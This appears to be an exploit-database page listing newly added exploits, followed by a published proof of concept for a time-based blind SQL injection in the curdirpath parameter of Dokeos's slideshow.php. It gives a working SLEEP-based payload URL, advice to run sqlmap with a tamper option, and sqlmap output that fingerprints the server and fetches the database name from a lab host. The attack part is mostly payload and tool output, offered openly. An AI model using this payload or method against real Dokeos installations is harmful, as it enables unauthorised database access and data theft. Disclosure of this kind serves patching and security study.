33dd246d8a
14 new exploits Ultrabenosaurus ChatBoard - Stored XSS Ultrabenosaurus ChatBoard - CSRF (Send Message) w2wiki - Multiple XSS Vulnerabilities Hyperoptic (Tilgin) Router HG23xx - Multiple Vulnerabilities Dokeos 2.2.1 - Blind SQL Injection Joomla En Masse (com_enmasse) Component 5.1 - 6.4 - SQL Injection AdobeUpdateService 3.6.0.248 - Unquoted Service Path Privilege Escalation BookingWizz Booking System < 5.5 - Multiple Vulnerabilities jbFileManager - Directory Traversal PHPLive 4.4.8 - 4.5.4 - Password Recovery SQL Injection Bomgar Remote Support Unauthenticated Code Execution (msf) Windows 7 - win32k Bitmap Use-After-Free (MS16-062) (1) Windows 7 - win32k Bitmap Use-After-Free (MS16-062) (2) Google Chrome - GPU Process MailboxManagerImpl Double-Read
38 lines
1.5 KiB
Text
Executable file
38 lines
1.5 KiB
Text
Executable file
# Exploit Title: Dokeos Blind SQL Injection
|
|
# Date: 2016-06-14
|
|
# Exploit Author: Mormoroth
|
|
# Exploit Author Blog: http://ha.cker.ir
|
|
# Vendor Homepage: http://www.dokeos.com/
|
|
# Software Link: http://jaist.dl.sourceforge.net/project/dokeos/dokeos-2.1.1.zip
|
|
# Version: 2.2.1
|
|
# Tested on: Ubuntu
|
|
# Twitter : https://twitter.com/Mormoroth
|
|
------
|
|
Note : hackme.com is localdomain on lab , not a live website
|
|
------
|
|
VULNERABILITY
|
|
curdirpath in slidshow.php is vulnerable to time-based blind sqlinjection
|
|
------
|
|
POC :
|
|
|
|
Payload: http://hackme.com:80/dokeos-2.1.1/main/document/slideshow.php?cidReq=123&curdirpath=' AND (SELECT * FROM (SELECT(SLEEP(5)))Pfag) AND 'NFwV'='NFwV&slide_id=all
|
|
------
|
|
Exploiting vulnerability with Sqlmap
|
|
Note : to exploit with sqlmap you should use --tamper=between option to retrieve data
|
|
------
|
|
Parameter: #1* (URI)
|
|
Type: AND/OR time-based blind
|
|
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
|
|
Payload: http://hackme.com:80/dokeos-2.1.1/main/document/slideshow.php?cidReq=123&curdirpath=' AND (SELECT * FROM (SELECT(SLEEP(5)))Pfag) AND 'NFwV'='NFwV&slide_id=all
|
|
------
|
|
[22:25:09] [INFO] the back-end DBMS is MySQL
|
|
web server operating system: Linux Ubuntu
|
|
web application technology: Apache 2.4.7
|
|
back-end DBMS: MySQL 5.0.12
|
|
[22:25:09] [INFO] fetching current database
|
|
[22:25:09] [INFO] resumed: dokeos_main
|
|
current database: 'dokeos_main'
|
|
[22:25:09] [INFO] fetched data logged to text files under 'C:\Users\Mort\.sqlmap\output\hackme.com'
|
|
|
|
C:\Users\Mort\Desktop\Apps\sqlmap>
|
|
------
|